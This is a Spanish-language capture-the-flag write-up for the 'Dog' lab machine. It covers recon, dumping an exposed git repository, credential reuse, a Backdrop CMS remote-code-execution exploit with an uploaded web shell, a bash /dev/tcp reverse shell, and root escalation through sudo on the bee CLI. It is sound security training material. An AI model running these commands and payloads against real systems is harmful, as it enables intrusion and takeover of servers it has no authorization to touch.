Skip to main content

Command Palette

Search for a command to run...

Dog WriteUp

Updated
4 min read
Dog WriteUp

Se hace un escaneo de nmap para reconocer el entorno con los parámetros:

  • -sV Para identificar las versiones de los servicios expuestos.

  • -Pn Para omitir el ping a los hosts (asumiendo que están activos).

  • -sC Para utilizar los scripts por defecto de nmap.

A simple vista podemos observar que es un blog de perros, identificando también 2 usuarios, dobBlackDropSystem y Anonymous

Basándonos en los resultados de nmap, sabemos que hay un /robots.txt el cual al revisarlo tiene diferentes directorios deshabilitados

Entre esos directorios, encontramos algunos interesantes como /core y /git

Como encontramos que el endpoint /git contiene información sensible, procedemos a clonarlo en nuestra maquina utilizando la herramienta git-dumper:

$ git-dumper https://10.10.11.58/.git/ ./dog_git_repo

Dentro del repositorio, encontramos varios archivos del sitio, entre los cuales se encuentran archivos de información que podrían llegar a obtener información sensible

Utilizamos grep para buscar si hay algún tipo de correo o credenciales que pertenezcan al dominio dog.htb:

$ grep -r “@dog.htb”

Obtenemos varios resultados del usuario tiffany@dog.htb

Revisamos uno de los archivos de configuración, y vemos que el sitio funciona bajo un CMS llamado backdrop, el cual, si revisamos el archivo update.settings.json muestra que hay una actualización que soluciona un problema la cual no fue implementada.

Si revisamos el archivo settings.php podremos ver que hay credenciales de acceso a la base de datos MySQL del sitio

$ head settings.php -n 20

$database = ‘mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop’;

Como las credenciales anteriores solo funcionan de manera local, probamos loggearnos en el panel de admin con el usuario tiffany y la clave previamente obtenida BackDropJ2024DS2024

Buscamos un exploit para el CMS backdrop con searchsploit

$ searchsploit backdrop

Encontramos un exploit que permite ejecución remota de comandos (RCE) por lo cual, lo descargamos:

$ searchsploit -m 52021

Tras ejecutarlo, vemos que se genera un archivo malicioso con la shell inversa:

$ python 52021.py 10.10.11.58

Subimos el archivo que contiene nuestra shell al panel de administración como un modulo malicioso

Una vez instalado, procedemos a ejecutar el comando whoami en nuestra shell y vemos que tenemos acceso como www-data:

http://10.10.11.58/modules/shell/shell.php?cmd=whoami

Tras confirmar que tenemos una shell funcionando en el sitio, procedemos a realizar una conexión inversa mediante un listener de netcat en nuestra maquina atacante, poniendo a la escucha el puerto 4444:

$ nc -nvlp 4444

Reverse Shell Cheat Sheet - Internal All The Things

Ejecutamos el código que nos generara la conexión inversa:

bash -c 'bash -i>&/dev/tcp/10.10.14.161/4444 0>&1'

Si el comando se ejecuto correctamente, deberíamos obtener la conexión inversa en nuestro listener de netcat como el usuario www-data

Iniciamos sesión en la base de datos MySQL con las credenciales obtenidas de los archivos de configuración y listamos los usuarios dentro de la base de datos backdrop:

$ mysql -uroot -p Enter password: BackDropJ2024DS2024
use backdrop; select * from users;

Como podemos observar, obtenemos multiples usuarios, y dentro de /home hay 2 usuarios llamados jobert y johncusack

Probamos la misma contraseña que usamos para acceder a la base de datos para conectarnos por ssh como el usuario johncusack obteniendo así acceso como usuario:

$ ssh johncusack@10.10.11.58 > BackDropJ2024DS2024

Obtenemos la flag de usuario

Verificamos que podemos ejecutar con permisos de superusuario con el comando:

$ sudo -l

Como pudimos observar, podemos ejecutar con permisos de super usuario /usr/local/bin/bee

backdrop-contrib/bee: :bee: Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites.

Aprovechamos la herramienta bee (CLI de Backdrop CMS) para ejecutar comandos arbitrarios como root y obtener una shell privilegiada:

$ sudo /usr/local/bin/bee ev ‘system(“/bin/bash”);’

Obtenemos la flag de root

Nano